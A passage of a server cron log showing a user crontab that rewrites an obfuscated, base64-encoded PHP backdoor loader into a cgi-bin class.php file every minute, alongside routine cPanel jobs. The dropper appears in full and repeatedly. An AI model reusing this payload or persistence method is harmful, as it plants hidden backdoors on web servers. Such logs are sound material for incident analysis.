&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:50:01 server CROND[1729]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 23:50:01 server CROND[1730]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:50:01 server CROND[1731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:50:01 server CROND[1736]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 23:50:01 server CROND[1737]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:51:01 server CROND[2540]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:52:01 server CROND[3310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:53:01 server CROND[3852]: (root) CMD (/usr/lib64/sa/sa2 -A)
Nov 13 23:53:01 server CROND[3853]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:54:01 server CROND[4626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:55:01 server CROND[5390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:55:01 server CROND[5391]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:55:01 server CROND[5392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:56:01 server CROND[6345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:57:01 server CROND[7200]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 23:57:01 server CROND[7201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:58:01 server CROND[7768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:59:01 server CROND[8528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:00:01 server CROND[9479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 00:00:01 server CROND[9481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:00:01 server CROND[9483]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 14 00:00:01 server CROND[9484]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 00:00:01 server CROND[9485]: (root) CMD (/usr/sbin/csf --lfd restart &gt; /dev/null 2&gt;&amp;1)
Nov 14 00:00:01 server CROND[9482]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 00:01:01 server CROND[10443]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 00:01:01 server CROND[10444]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 00:01:01 server run-parts(/etc/cron.hourly)[10443]: starting 0anacron
Nov 14 00:01:01 server anacron[10457]: Anacron started on 2025-11-14
Nov 14 00:01:01 server run-parts(/etc/cron.hourly)[10459]: finished 0anacron
